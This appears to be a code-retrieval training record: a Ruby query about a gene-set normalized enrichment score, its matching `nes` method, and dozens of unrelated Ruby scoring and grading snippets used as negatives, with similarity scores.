"def assignment_average_score(grade_hash, assignment_num)\n marks = assignment_scores(grade_hash, assignment_num)\n marks.sum / marks.length\nend",
"def score\n calculator.score\n end",
"def calculate_score\n # Calculate score given the number of lines cleared at once\n case (@deleted_indexes.length / 2)\n when 1\n @score += 40 * (@level + 1)\n when 2\n @score += 100 * (@level + 1)\n when 3\n @score += 300 * (@level + 1)\n when 4\n @score += 1200 * (@level + 1)\n end\n @score\n end",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num - 1]\nend",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num - 1]\nend",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num - 1]\nend",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num - 1]\nend",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num - 1]\nend",
"def gen_score\n ## Calculate the score here!\n\n total_score = victories + coins/3 + blues + yellows + purples + leaders + blacks\n ## Greens\n greens = [tablets, compasses, gears]\n total_score += (greens.min*7) + greens[0]**2 + greens[1]**2 + greens[2]**2\n self.score = total_score\n end",
"def calculate_score\n raise \"Override and return the metric's score\"\n end",
"def grade_average\n @grades.inject(:+) / @grades.size\n end",
"def score\n return @score if @score != -1\n prod =\n [p_bases_covered, 0.01].max.to_f * # proportion of bases covered\n [p_not_segmented, 0.01].max.to_f * # prob contig has 0 changepoints\n [p_good, 0.01].max.to_f * # proportion of reads that mapped good\n [p_seq_true, 0.01].max.to_f # scaled 1 - mean per-base edit distance\n @score = [prod, 0.01].max\n end",
"def assignment_score(grade_hash, student, assignment_num)\n grade_hash[student][assignment_num-1]\nend",
"def calculate\n average = (@scores.reduce(:+)/@scores.length)\n return \"O\" if average.between?(90, 100)\n return \"E\" if average.between?(80, 89)\n return \"A\" if average.between?(70, 79)\n return \"P\" if average.between?(55, 69)\n return \"D\" if average.between?(40, 54)\n return \"T\" if average < 40\n end",
"def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end",
"def rank\n groups = PoliceGroup.all.sort_by(&:grand_total)\n index = groups.index(self) + 1\n place = index / groups.size.to_f\n if place > 0.75\n 'High'\n elsif place > 0.25\n 'Moderate'\n else\n 'Low'\n end\n end",
"def score\n return @score\n end",
"def assignment_average_score(grade_hash, assignment_num)\n assignment = grade_hash.map do |key, value|\n value[assignment_num - 1]\n end\n\n sum = assignment.reduce do |sum, x|\n sum += x\n end\n\n sum / assignment.length\nend",
"def get_grade(scoreArray)\n\t\t\n\tavg = scoreArray.reduce(:+) / scoreArray.length\n\t\t\n\tcase avg\n\t\twhen 90..100 then 'A'\n\t\twhen 80..89 then 'B'\n\t\twhen 70..79 then 'C'\t\n\t\twhen 60..69 then 'D'\n\t\telse 'F'\t\n\tend\nend",
"def calculate_final_score\n self.scores.average(:total_score)\n end",
"def assignment_average_score(grade_hash, assignment_num)\n assignment = grade_hash.map {|x| x[1][assignment_num-1]}\n average = assignment.reduce{|x,n| x += n}/assignment.length\nend",
"def assignment_score(grade_hash, name, assignment_number)\n grade_hash[name][assignment_number - 1]\nend",
"def score\n @rolls.reduce(:+)\n end",
"def grade\n @grade\n end",
"def assignment_score(grade_hash, student, assignment_num)\n return grade_hash[student][assignment_num-1]\nend",
"def score\n @cards.map(&:value).inject(:+)\n end",
"def assignment_average_score(grade_hash, assignment_num)\n grade_hash\n .map {|key, value| value[assignment_num - 1]}\n .reduce(:+) / grade_hash.length\nend",
"def calculate\n\t\taverage_rank\n\t\tfound_percent\n\tend",
"def relevancy_score\n header_score\n end",
"def score_key\n \"#{self.name} Expression\"\n end",
"def get_grade(avg_score)\n\tif avg_score >= 90\n\t\t\"A\"\n\telsif avg_score >= 80\n\t\t\"B\"\n\telsif avg_score >= 70\n\t\t\"C\"\n\telsif avg_score >= 60\n\t\t\"D\"\n\telse\n\t\t\"F\"\n\tend\nend",
"def expected_fractional_score(other)\n @e[other] ||= 1 / (1 + Math.exp(-other.gravity * (mean - other.mean)))\n end",
"def score\n @score\n end",
"def assignment_average_score(grade_hash, assignment_num)\n assignment_score = grade_hash.map do |key, value|\n value [assignment_num - 1]\n end\n total = assignment_score.reduce do |total, grade|\n total += grade\n end\n total / assignment_score.length\nend",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map {|x| x[1][assignment_num-1]}\nend",
"def assignment_average_score(grade_hash, assignment_num)\n grade_hash\n .map { |key, value| value[assignment_num -1] }\n .reduce(:+) / grade_hash.length\nend",
"def assignment_average_score(grade_hash, assignment_num)\n (grade_hash.values.transpose[assignment_num - 1].reduce { |acc, num| acc + num }.to_f / 10).floor\nend",
"def test_grade\n input = self.test_session.user_input\n test_content = test.content\n grade = input.similar(test_content)\n grade.round(1)\n end",
"def fitness\n if @fitness == 0.0\n @fitness = @fitness_alg.rank(self)\n end\n @fitness\n end",
"def recalculate_score!\n self.score = Vote.find(:all, :conditions => ['proposal_id = ? AND value IN (-1, 1)',self.id], :select => 'value').map{|v|v.value}.sum\n self.save!\n end",
"def get_grade(scores)\n\n\t#Find out the average of the scores\n\n\tscore_sum = scores.reduce(:+)\n\ttotal_scores = scores.length\n\taverage_score = score_sum / total_scores\n\n\t#translate average into a letter grade\n\n\tgrade = case average_score\n\twhen 90...100 then \"A\"\n\twhen 80..90 then \"B\"\n\twhen 70..80 then \"C\"\n\twhen 60..70 then \"D\"\n\twhen 0..60 then \"F\"\n\tend\n\t\n\treturn grade\nend",
"def format_score\n self.score = GradingRule.format_score(self.course.id, self.score)\n if self.assignment_id < 0\n self.score = Grade.encrypt_score(self.score, self.course_id, self.student_id)\n end\n end",
"def average_assignment_score\n assignment_average_scores.inject(:+).to_f/num_assignments\n rescue ZeroDivisionError\n 0\n end",
"def gain_exp\n rate = Grade.rate(:exp)\n $game_party.all_members.each do |actor|\n actor.gain_exp_cpv($game_troop.exp_total, rate)\n end\n return $game_troop.exp_total * rate / 100\n end",
"def commitment_score commitment\n \n commitment_score = {}\n activity_count = commitment.activities.count\n \"-------------- #{activity_count} ---------------\"\n commitment.activities.each do |activity|\n @activity = activity.as_json\n @attendance = get_members_attendance(@activity)\n\n @attendance.each do |member, attendance| \n\n if commitment_score[member] && attendance == true\n commitment_score[member] += 100\n elsif commitment_score[member] && attendance == false\n commitment_score[member] += 0\n elsif !commitment_score[member] && attendance == false\n commitment_score[member] = 0\n else \n commitment_score[member] = 100\n end\n\n end\n end\n\n commitment_score.each do |member, attendance|\n commitment_score[member] = attendance / activity_count\n end\n\n return commitment_score\n\n end",
"def average_grade_overall\n return self.data[\"average_grade\"]\n end",
"def assignment_average_score(grade_hash, assignment_score)\n sum = 0\n grade_hash.each do |key, value|\n sum += value[assignment_score - 1]\n end\n average = sum / grade_hash.keys.length\n average\nend",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map do |key, value|\n value [assignment_num - 1]\n end\nend",
"def assignment_average_score(grade_hash, assignment_num)\n sum, n = 0, 0\n grade_hash.each do |k,v|\n n += 1\n sum += v[assignment_num-1]\n end\n return sum/n\nend",
"def assignment_average_score(data, assignment)\n all_scores = data.values.map do |scores|\n scores[assignment - 1]\n end\n (all_scores.sum)/(all_scores.length)\nend",
"def get_grade(input_array)\n\tsum = 0\n\tinput_array.each do |x|\n\t\tsum += x\n\tend\n\tav_score = sum/input_array.length\n\treturn \"A\" if av_score>=90\n\treturn \"B\" if av_score>=80\n\treturn \"C\" if av_score>=70\n\treturn \"D\" if av_score>=60\n\treturn \"F\" if av_score<60\nend",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map {|key, value| value[assignment_num - 1]}\nend",
"def final_letter_grades(scores)\n averages(scores).transform_values { |avg_score| letter_grade(avg_score)}\nend",
"def gtm_score\n super\n end",
"def display_score score, rank\r\n\r\n end",
"def rate_profit_revision(profit_revision)\n ## Deprecated see OnVistaExtractor.extract_profit_revision(...)\n # u = profit_revision.up\n # e = profit_revision.equal\n # d = profit_revision.down\n # case\n # when u > e && u > d\n # score = 1\n # when e > u && e > d\n # score = 0\n # when d > u && d > e\n # score = -1\n # when u == e && e == d\n # score = 0\n # when u == e || u > d\n # score = 0\n # when u == d\n # score = 0\n # else\n # score = -1\n # end\n # profit_revision.score = score\n \n case\n when profit_revision.up == 1\n score = 1\n when profit_revision.equal == 1\n score = 0\n when profit_revision.down == 1\n score = -1\n else\n score = -1\n end\n profit_revision.score = score\n return score\n end",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map do | key, value |\n value[assignment_num - 1]\n end\nend",
"def calculate_popularity_score\n top_guide = (Guide.order_by(\"impressions_field\" => :asc).last)\n at_most = (top_guide.impressions_field || 0).to_i\n normalized = impressions_field.to_f / at_most\n write_attributes(popularity_score: normalized)\n end",
"def total_score \n \t\t@scores_array.reduce(0, :+) \n\tend",
"def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end",
"def average_score\n grades.average(:score) || 0\n end",
"def assignment_average_score(grade_hash, assignment_num)\n sum = 0\n grade_hash.each do |key, value|\n sum += grade_hash[key][assignment_num - 1]\n end\n average = sum / grade_hash.length\nend",
"def get_grade(*args)\n ave = args.reduce(:+) / args.size\n\n case ave\n when 90..100 then 'A'\n when 80..89 then 'B'\n when 70..79 then 'C'\n when 60..69 then 'D'\n else 'F'\n end\nend",
"def average_fitness\n total_fitness = 0\n @all_persons.each do |person|\n total_fitness += person.get_energy_level\n end\n if @all_persons.empty?\n return 0\n else\n total_fitness / @total_people\n end\n end",
"def node_score\n @property_hash[:node_score]\n end",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map do |key, value|\n value[assignment_num - 1]\n end\nend",
"def score_for_group group\r\n score = 0\r\n group.seminarians.each do |sem|\r\n # Exponential penalty\r\n if self.times_with_seminarian(sem) == 0\r\n score += 0\r\n else\r\n score += self.schedule_dataset.seminarians_per_group ** (self.times_with_seminarian(sem) - 1)\r\n end\r\n end\r\n \r\n return score\r\n end",
"def entrez_score(candidates, text, to_entrez = nil)\n code2entrez = {}\n candidates.each{|code, score|\n if to_entrez.is_a? Proc\n entrez = to_entrez.call(code)\n elsif to_entrez.is_a? Hash\n entrez = @to_entrez[code]\n else\n entrez = code\n end\n code2entrez[code] = entrez unless entrez.nil? \n }\n\n # Get all at once, better performance\n genes = Entrez.get_gene(code2entrez.values)\n\n code2entrez_genes = code2entrez.collect{|key, value| [key, genes[value]]}\n\n code2entrez_genes.collect{|p|\n [p[0], Entrez.gene_text_similarity(p[1], text)]\n }\n end",
"def get_reindeer_ranking\n return @reindeer_ranking\n end",
"def render_score; end",
"def score\n documented = @files.inject(0) {|sum, file| sum += file.total_documented }\n total = @files.inject(0) {|sum, file| sum += file.total_entities }\n ((documented.to_f / total) * 100).to_i\n end",
"def rank; end",
"def rank; end",
"def possible_points\n (self.evals.reduce(0) {|sum, eval| sum += eval.max_score.to_i; sum})\n end",
"def compute_all_issues_rank\n\t\tissues = Issue.find :all\n\t\tranking = Hash.new()\n\t\tissues.each {|i| ranking[i.id] = 0.75 }\n\t\treturn ranking\n\tend",
"def assignment_scores(grade_hash, assignment_num)\n grade_hash.map do |student, marks|\n marks[assignment_num - 1]\n end\nend",
"def evaluation\n responses = self.user_survey_responses\n correct_answers = 0.0\n responses.each do |response|\n answer = Answer.find(response.answer_id)\n correct_answers += 1 if answer.correct\n end\n if self.grade.nil?\n self.grade = Grade.create score: 0, gradable: self, user_id: self.user_id\n end\n if (responses.size != 0) then\n evaluation = (correct_answers/responses.size)*10\n #self.update_attributes result: evaluation\n if evaluation != grade.score\n self.grade.update_attributes score: evaluation\n end\n return evaluation\n else\n #self.update_attributes result: 0.0\n if grade.score != 0\n self.grade.update_attributes score: 0, gradable: self\n end\n return 0.0\n end\n end",
"def score\n @subject.score\n end"
] | [
"0.58575535",
"0.5848474",
"0.58468103",
"0.57758695",
"0.57609564",
"0.57583904",
"0.57557034",
"0.5709519",
"0.5691272",
"0.5689009",
"0.5682961",
"0.5674911",
"0.56633204",
"0.564422",
"0.55995435",
"0.55988497",
"0.55988497",
"0.5592646",
"0.5588586",
"0.5583634",
"0.55618596",
"0.5542922",
"0.5523604",
"0.5514465",
"0.5508261",
"0.54938227",
"0.5481858",
"0.5481858",
"0.5481858",
"0.5481858",
"0.5481858",
"0.5481266",
"0.54683185",
"0.54560566",
"0.545075",
"0.54457396",
"0.543254",
"0.5427452",
"0.542554",
"0.54205877",
"0.5419647",
"0.54192847",
"0.5416164",
"0.54161435",
"0.54135877",
"0.540877",
"0.54052263",
"0.53996694",
"0.53940237",
"0.5381858",
"0.538",
"0.5376887",
"0.5373257",
"0.5370965",
"0.536634",
"0.5363827",
"0.53598875",
"0.5357677",
"0.53542817",
"0.5336794",
"0.5334707",
"0.53312457",
"0.5330834",
"0.53297716",
"0.53261447",
"0.53240067",
"0.53194183",
"0.5316259",
"0.5313584",
"0.5306367",
"0.53056616",
"0.53053755",
"0.53035253",
"0.5302399",
"0.5300657",
"0.529834",
"0.52937174",
"0.5291966",
"0.5284941",
"0.5284215",
"0.52829117",
"0.5278928",
"0.5273225",
"0.52684253",
"0.52661175",
"0.525987",
"0.5259162",
"0.52562946",
"0.5252305",
"0.5246885",
"0.5244431",
"0.52421445",
"0.52395546",
"0.5238108",
"0.5235551",
"0.5235551",
"0.5228643",
"0.5227888",
"0.5223316",
"0.52194923",
"0.5209203"
] | 0.0 | -1 |
NES: Normalized enrichment score; that is, the enrichment score for the gene set after it has been normalized across analyzed gene sets. | def nes
@nes ||= @fields[4].to_f
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def normalize\n unless @hits.empty? then \n max = highest_score\n min = lowest_score\n all.each do |hit| \n if (max == min) then\n hit.score = 1\n else\n hit.score = (hit.score - min)/(max - min)\n end \n end\n sort\n end\n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def calculate_final_score\n self.scores.average(:total_score)\n end",
"def energy()\n score = 0\n @matches.each do |m|\n # Teams Same School\n if m.team_a.school == m.team_b.school\n score -= @penalties[:teams_same_school]\n end\n # Judges Same School\n m.judges.each do |j|\n if j.school == m.team_a.school\n score -= @penalties[:judge_same_school]\n end\n if j.school == m.team_b.school\n score -= @penalties[:judge_same_school]\n end\n end\n # Different Win/Loss\n if m.team_a.num_wins != m.team_b.num_wins\n score -= (1 + @penalties[:different_win_loss]) **\n (m.team_a.num_wins - m.team_b.num_wins).abs\n score -= 1 # No, really, this makes sense...\n end\n end\n score\n end",
"def percentagize_score\n real_percentage = self.score\n return real_percentage.round\n end",
"def percentagize_score\n real_percentage = self.score\n return real_percentage.round\n end",
"def score\n return @score if @score != -1\n prod =\n [p_bases_covered, 0.01].max.to_f * # proportion of bases covered\n [p_not_segmented, 0.01].max.to_f * # prob contig has 0 changepoints\n [p_good, 0.01].max.to_f * # proportion of reads that mapped good\n [p_seq_true, 0.01].max.to_f # scaled 1 - mean per-base edit distance\n @score = [prod, 0.01].max\n end",
"def normalize_scores\n COURSES.each do |course|\n ['M','F'].each do |gender|\n # do not include male / brown course results\n next if course == 'Brown' && gender == 'M'\n normalize_course_scores(course, gender)\n end\n end\n end",
"def calculate_score\n # Calculate score given the number of lines cleared at once\n case (@deleted_indexes.length / 2)\n when 1\n @score += 40 * (@level + 1)\n when 2\n @score += 100 * (@level + 1)\n when 3\n @score += 300 * (@level + 1)\n when 4\n @score += 1200 * (@level + 1)\n end\n @score\n end",
"def set_contest_score\n @contest.posts.each do |post|\n post.engagements.each do |engagement|\n totalscore = 0\n engagement.spectators.each do |spectator|\n totalscore += spectator.totalscore if spectator\n end\n engagement.totalscore = totalscore\n engagement.save\n end\n end\n end",
"def format_score\n self.score = GradingRule.format_score(self.course.id, self.score)\n if self.assignment_id < 0\n self.score = Grade.encrypt_score(self.score, self.course_id, self.student_id)\n end\n end",
"def expected_fractional_score(other)\n @e[other] ||= 1 / (1 + Math.exp(-other.gravity * (mean - other.mean)))\n end",
"def compute_score\n\n total_score=0\n total_weights=0\n self.class.field_mappings.each do |field_name,field_config|\n if !field_config[:weight].blank?\n total_score += field_config[:weight].to_f * (self.class.blank_value?(self.send(field_name)) ? 0 : 1) # if the field is blank, it is a 0 regardless of weight, otherwise it is a 1 times its weight\n total_weights += field_config[:weight].to_f\n end\n end\n\n return ((total_score/total_weights)*100).ceil\n\n end",
"def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end",
"def recalculate_score!\n self.score = Vote.find(:all, :conditions => ['proposal_id = ? AND value IN (-1, 1)',self.id], :select => 'value').map{|v|v.value}.sum\n self.save!\n end",
"def F_score(gold)\n\t\tClustering.F_score(gold,self)\n\tend",
"def score\n documented = @files.inject(0) {|sum, file| sum += file.total_documented }\n total = @files.inject(0) {|sum, file| sum += file.total_entities }\n ((documented.to_f / total) * 100).to_i\n end",
"def update_score\n sum = 0.0\n total = 0.0\n ratings.each do |rating|\n vp = User.find(rating.user_id).voting_power \n sum = sum + rating.score * vp\n total = total + vp\n end\n average = sum / total\n variance = ratings.inject(0.0){ |sum, element| sum + \n (element.score - average) ** 2 }\n penalty = Math.log10((variance / ratings.size) + 1) + 1.0;\n update_attribute(:score, average / penalty)\n end",
"def rank_scale_root( node, normalized )\n unranked_score = score_aggregate_node( node, normalized, false )\n rank_list = unranked_score.values.sort.uniq\n\n unranked_score.keys.each do |key|\n normalized[key][node['id']] = ( rank_list.index( unranked_score[key] ) + 1 ) / rank_list.size.to_f\n end\n normalized\n end",
"def score_base_node( node, normalized )\n Asset.where(:active => true).each do |a|\n metric = a.metrics.where(:metric => node['metric']).first\n entity_hash = normalized[a.entity_key]\n if entity_hash.nil?\n entity_hash = Hash.new\n end\n puts \"!!!: #{node}, #{metric} #{a.name}\"\n entity_hash[node['id']] = node['weight'] * metric.norm_value\n normalized[a.entity_key] = entity_hash\n end\n normalized\n end",
"def score\n @score ||= phonetic_levenshtein_distance + penalties\n end",
"def evaluation\n responses = self.user_survey_responses\n correct_answers = 0.0\n responses.each do |response|\n answer = Answer.find(response.answer_id)\n correct_answers += 1 if answer.correct\n end\n if self.grade.nil?\n self.grade = Grade.create score: 0, gradable: self, user_id: self.user_id\n end\n if (responses.size != 0) then\n evaluation = (correct_answers/responses.size)*10\n #self.update_attributes result: evaluation\n if evaluation != grade.score\n self.grade.update_attributes score: evaluation\n end\n return evaluation\n else\n #self.update_attributes result: 0.0\n if grade.score != 0\n self.grade.update_attributes score: 0, gradable: self\n end\n return 0.0\n end\n end",
"def recompute_scores\n point_attribution_all\n Section.all.each do |s|\n \ts.max_score = 0\n \tif !s.fondation?\n \t\ts.problems.each do |p|\n \t\t\tif p.online?\n\t\t \t\t\ts.max_score = s.max_score + p.value\n\t\t \t\tend\n\t\t \tend\n\t\t \ts.chapters.each do |c|\n\t\t \t\tif c.online?\n\t\t \t\t\tc.exercises.each do |e|\n\t\t \t\t\t\tif e.online?\n\t\t \t\t\t\t\ts.max_score = s.max_score + e.value\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t \t\t\tc.qcms.each do |q|\n\t\t \t\t\t\tif q.online?\n\t\t \t\t\t\t\ts.max_score = s.max_score + q.value\n\t\t \t\t\t\tend\n\t\t \t\t\tend\n\t\t \t\tend\n\t\t \tend\n\t\t end\n \ts.save\n end\n redirect_to users_path\n end",
"def calculate_score\n raise \"Override and return the metric's score\"\n end",
"def update_score()\n\t\t# Uses ELO rating to calculate new rank for both users. Ref: https://metinmediamath.wordpress.com/2013/11/27/how-to-calculate-the-elo-rating-including-example/\n\t\t# Updates score by adding game scores to players score\n\tend",
"def score\n [base_score] + kickers\n end",
"def score\n total = 0\n docs = 0\n [@classes, @modules, @methods, @constants, @attrs].each do |collection|\n collection.each do |item|\n total += 1\n docs += 1 if item\n end\n end\n return 100 if total == 0\n return ((docs.to_f / total) * 100).to_i\n end",
"def gen_score\n ## Calculate the score here!\n\n total_score = victories + coins/3 + blues + yellows + purples + leaders + blacks\n ## Greens\n greens = [tablets, compasses, gears]\n total_score += (greens.min*7) + greens[0]**2 + greens[1]**2 + greens[2]**2\n self.score = total_score\n end",
"def scores\n @raw.map(&:score)\n end",
"def score\n @body.each_node(:lvasgn, *CONSIDERED_NODES).reduce(1) do |score, node|\n next score if !iterating_block?(node) || node.lvasgn_type?\n next score if node.csend_type? && discount_for_repeated_csend?(node)\n\n next 1 + score\n end\n end",
"def calcAdjustment(matrix,totalGenes)\n #score adjustment for col/row sum\n colAdj = 0\n matrix.colSums.each{|sum|\n colAdj += Math.log2star(sum)\n }\n \n rowAdj = 0\n matrix.rowSums.each{|sum|\n rowAdj += Math.log2star(sum)\n }\n\n # each row gets sorted by its sum \n rowSortAdj = matrix.rowSums.calcUniqPermutationsLog2\n colSortAdj = matrix.colSums.calcUniqPermutationsLog2\n sortAdj = rowSortAdj + colSortAdj\n\n # score adjustment for which set of N genes to use \n # (think \"multiple testing\" via binomial coefficient)\n testAdj = Math.binomCoefficientLog2(totalGenes,matrix.numRows)\n\n return colAdj + rowAdj + testAdj +sortAdj\nend",
"def avg_score\n deploy_average_scoring? ? self[:avg_score] : 0\n end",
"def average\n return ((@critics_score + @audience_score) / 2.0) #ultimate math skillz.\n end",
"def average_score\n responses = Response.all\n sum = 0\n count = 0\n\n responses.each do |response|\n r_summary = response.summarize\n if r_summary[self.name][:nrm]\n sum += r_summary[self.name][:nrm]\n count += 1\n end\n end\n\n return (sum/count).round\n end",
"def mean_overall\n sum_overall / hits_overall\n end",
"def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end",
"def normalized_family(row)\n if row[:assessment_scale_score].present? && row[:assessment_scale_score].to_i > 399\n 'Next Gen MCAS'\n else\n 'MCAS'\n end\n end",
"def normalize\n self / self.norm\n end",
"def update_avg_score\n department.update_department_score # Calls the \"update_score\" method in Departments' Model's callbacks.\n end",
"def overall_score(label_scores)\n label_scores.compact!\n label_scores.reduce { |acc, e| acc + e }.to_f / label_scores.size\n end",
"def get_mean\n\t\tif @eleves.length == 0 \n\t\t\treturn -1\n\t\tend\n\t\tsomme = 0\n\t\[email protected] do |e|\n\t\t\tsomme += e.moyenne.to_i\n\t\tend\n\t\tsomme/[email protected] \n\tend",
"def average_score\n return nil if metrics.empty?\n totals = grades.includes(:subject).group_by(&:subject).map { |_, grades|\n grades.sum(&:weighted_score) }\n return 0 if totals.empty?\n totals.sum.to_f / totals.length\n end",
"def overall_rating\n\t\ttotal_score = 0\n\t\ttotal_score += self.setting \n\t\ttotal_score += self.hotness\n\t\ttotal_score += self.originality\n\t\ttotal_score += self.style\n\t\ttotal_score += self.attitude\n\t\treturn total_score / 5\n\tend",
"def recompute_average_scores!\n # Done in raw SQL to save on query time\n averages = Player::Feedback.connection.select_all(\n \"SELECT\n AVG(`fit_score`) AS avg_fit_score,\n AVG(`punctuality_score`) AS avg_punctuality_score,\n AVG(`personality_score`) AS avg_personality_score,\n AVG(`skill_score`) AS avg_skill_score,\n (AVG(`fit_score`) * #{Player::Feedback::FIT_WEIGHT} +\n AVG(`punctuality_score`) * #{Player::Feedback::PUNC_WEIGHT} +\n AVG(`personality_score`) * #{Player::Feedback::PERS_WEIGHT} +\n AVG(`skill_score`) * #{Player::Feedback::SKILL_WEIGHT}) AS `weighted_overall_score`\n FROM player_feedbacks\n WHERE player_id = #{self.id}\"\n ).first.to_hash\n\n self.update_attributes!(averages)\n end",
"def assign_score; end",
"def set_score\n case competition.evaluation_type\n when 'mae'\n d1 = read_expected_csv.transpose\n d2 = read_csv.transpose\n df1 = Daru::DataFrame.new(extract_cols(d1), order: [:id, :value])\n df2 = Daru::DataFrame.new(extract_cols(d2), order: [:id, :value])\n means = df1.join(df2, on: [:id], how: :inner).vector_by_calculation { (value_1 - value_2).abs }\n self.evaluation_score = (means.sum.to_d / means.size.to_d)\n end\n end",
"def score_node( node, normalized )\n if node['parent_id'] == 0\n normalized = rank_scale_root( node, normalized )\n elsif node['children'].length == 0\n normalized = score_base_node( node, normalized )\n else\n normalized = score_aggregate_node( node, normalized )\n end\n normalized\n end",
"def calculate_intra_consensus_value\n count=0\n if IntraResidueContact.all(:seq_id => self.seq_id, :first_residue=>self.original_position) || IntraResidueContact.all(:seq_id => self.seq_id, :second_residue=>self.original_position)\n count +=1\n end\n #if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).color > 4\n if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).score < 0\n count +=1\n end\n if !Xdet.first(:aasequence_id => self.AAsequence_id).nil? && (Xdet.first(:aasequence_id => self.AAsequence_id).correlation > 0.0 || Xdet.first(:aasequence_id => self.AAsequence_id).correlation == -2)\n count +=1\n end\n if !NewCap.first(:seq_id=> self.seq_id, :position_one => self.original_position).nil? || !NewCap.first(:seq_id=> self.seq_id, :position_two => self.original_position).nil?\n count +=1\n end\n self.contact_consensus = count /4\n puts self.contact_consensus\n self.save\n end\n \n def calculate_intra_consensus_value_special\n count=0\n #if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).color > 4\n if !Conseq.first(:aasequence_id => self.AAsequence_id).nil? && Conseq.first(:aasequence_id => self.AAsequence_id).score < 0\n count +=1\n end\n if !Xdet.first(:aasequence_id => self.AAsequence_id).nil? && (Xdet.first(:aasequence_id => self.AAsequence_id).correlation > 0.0 || Xdet.first(:aasequence_id => self.AAsequence_id).correlation == -2)\n count +=1\n end\n if !NewCap.first(:seq_id=> self.seq_id, :position_one => self.original_position).nil? || !NewCap.first(:seq_id=> self.seq_id, :position_two => self.original_position).nil?\n count +=1\n end\n self.contact_consensus = count/3\n self.save\n puts self.contact_consensus\n end",
"def update_score(accumulated_score)\n @net_score += accumulated_score\n puts \"Total turn score: #{accumulated_score}, net score: #{@net_score}\"\n @net_score\n end",
"def compute_score\n @query.items.map.with_index do |element, index|\n weight(index) * weight(@classification.items.index(element))\n end.sum\n end",
"def score\n end",
"def calc_rank\n return (self.score * 20001) + self.speaks;\n end",
"def average_score\n count = 0.0\n avrg = 0.0\n if self.cadets.empty?\n return 0.0\n else\n self.cadets.each do |cdt|\n unless cdt.discharged?\n avrg += cdt.average_score\n count += 1.0\n end\n end\n return count != 0.0 ? (avrg/count).round(1) : 0.0\n end\n end",
"def total_score \n \t\t@scores_array.reduce(0, :+) \n\tend",
"def score; end",
"def run_aggregation\n GRADES.each_with_index do |grade, idx|\n classifier[grade].each_pair do |metric, values|\n all_values = values\n all_values += classifier[GRADES[idx + 1]][metric] if (idx + 1) < GRADES.count\n\n classifier[grade][metric] =\n if all_values.count <= 2\n values.max || 0\n else\n (all_values.sum / all_values.count).round(2)\n end\n end\n end\n end",
"def final_letter_grades(scores)\n averages(scores).transform_values { |avg_score| letter_grade(avg_score)}\nend",
"def average_score\n grades.average(:score) || 0\n end",
"def normalize! level = 1.0\n self.divide!(@data.max / level)\n end",
"def relevancy_score\n header_score\n end",
"def total_score\n\t\t@array = []\n\t\tself.attributes.each do |key, value|\n\t\t\tif key.to_s =~ /^score/\n\t\t\t\t@array << value\n\t\t\tend\n\t\tend\n\t\tunless @array ==[]\n\t\t\treturn @array.reduce(:+)\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def normalize!\n total_items = @items.size\n raise \"No items set\" if total_items == 0\n total_sum = @items.values.map{|x| x[:value] }.inject(:+).to_f\n\n @items.each_pair do |key, values|\n @items[key][:normalized] = values[:value] / total_sum\n end\n @normalized = true\n end",
"def finalscore(h,flattenarray,originalarray)\r\n # puts \"==>> #{originalarray}\"\r\n max_index = originalarray.each_index.max_by { |i| originalarray[i].size }\r\n # puts \"max index = #{max_index}\"\r\n # puts \"abcscs = #{originalarray[max_index].length}\"\r\n maxsize = originalarray[max_index].length+1\r\n min_index = originalarray.each_index.min_by { |i| originalarray[i].size }\r\n minsize = originalarray[min_index].length+1\r\n frequency = flattenarray.length\r\n # puts \"***** max= #{maxsize} min = #{minsize} f= #{frequency}\"\r\n h.each do |key,value|\r\n # if key == \"B00APE06UA\"\r\n # puts \"value = #{value }\"\r\n # puts \"value[0] = #{value[0] }\"\r\n # puts \"value[1] = #{value[1]}== #{(value[1]-minsize+1)}/#{(maxsize-minsize)}\"\r\n # puts \"value[0] = #{value[0]} == #{value[0].clone}/#{frequency}\"\r\n # end\r\n\r\n # value[0]= 10000*value[0]/frequency\r\n # value[1]= 100*(value[1]-minsize+1)/(maxsize-minsize)\r\n value [1] = 10000*( value[1]/value[0])\r\n # if key ==\"B00APE06UA\"\r\n # puts \"value [1] = #{value[1]}\"\r\n # puts \" ==>>>> #{value[0]} =========#{value[1]} #{(value[1]-minsize+1)}/#{(maxsize-minsize)} \"\r\n # end\r\n total_score = value[0]+value[1]\r\n # puts\" #{total_score}\"\r\n h[key] = total_score\r\n end\r\n return h\r\nend",
"def update_score!\n entries = leaderboards.to_a.map do |lb|\n lb.entrys.where(user: self).last\n end\n\n value = entries.map { |e| e.leaderboard.scored ? Score.value(e.rank) : 0 }.reduce(:+)\n\n update(score: value)\n\n value\n end",
"def grade_average\n @grades.inject(:+) / @grades.size\n end",
"def score\n active_set.score\n end",
